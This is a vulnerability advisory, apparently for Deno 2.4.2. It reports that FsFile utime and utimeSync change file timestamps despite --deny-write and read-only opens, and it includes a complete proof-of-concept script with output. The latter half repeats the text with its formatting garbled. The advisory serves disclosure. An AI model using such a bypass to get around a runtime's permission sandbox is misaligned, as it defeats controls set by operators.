Summary
Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.
It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).
Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.
PoC
Setup:
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3
touch test.txt
// touch test.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
async function poc1(){
using file = await Deno.open("./test.txt", { read: true, write: false});
const fileInfoBefore = await file.stat();
await file.utime(new Date("2000-01-01"), new Date("2000-01-01"));
const fileInfoAfter = await file.stat();
console.log(`BEFORE (utime)`)
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())
console.log(`AFTER (utime)`)
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())
}
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
function poc2(){
using file = Deno.openSync("./test.txt", { read: true, write: false});
const fileInfoBefore = file.statSync();
file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01"));
const fileInfoAfter = file.statSync();
console.log(`BEFORE (utimeSync)`)
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())
console.log(`AFTER (utimeSync)`)
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())
}
// https://docs.deno.com/api/deno/~/Deno.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
async function poc3(){
// not executed
await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}
// https://docs.deno.com/api/deno/~/Deno.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
function poc4(){
// not executed
Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}
async function main(){
const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "write", path: "./" });
console.log(status);
switch (poc) {
case "1":
poc1()
break;
case "2":
poc2()
break;
case "3":
poc3()
break;
case "4":
poc4()
break;
default:
poc1()
}
}
main()Output:
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
PermissionStatus { state: "denied", onchange: null }
BEFORE (utime)
2025
2025
AFTER (utime)
2000
2000
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
PermissionStatus { state: "denied", onchange: null }
BEFORE (utimeSync)
2000
2000
AFTER (utimeSync)
2001
2001
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
^
...
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
^
...
Impact
Permission model bypass
References
dellalibera Reporter
Summary
Deno.FsFile.prototype.utimeandDeno.FsFile.prototype.utimeSyncare not limited by the permission model check--deny-write=./.It's possible to change to change the access (
atime) and modification (mtime) times on the file stream resource even when the file is opened withreadonly permission (andwrite:false) and file write operations are not allowed (the script is executed with--deny-write=./).Similar APIs like
Deno.utimeandDeno.utimeSyncrequireallow-writepermission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.PoC
Setup:
Output:
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4Impact
Permission model bypass
References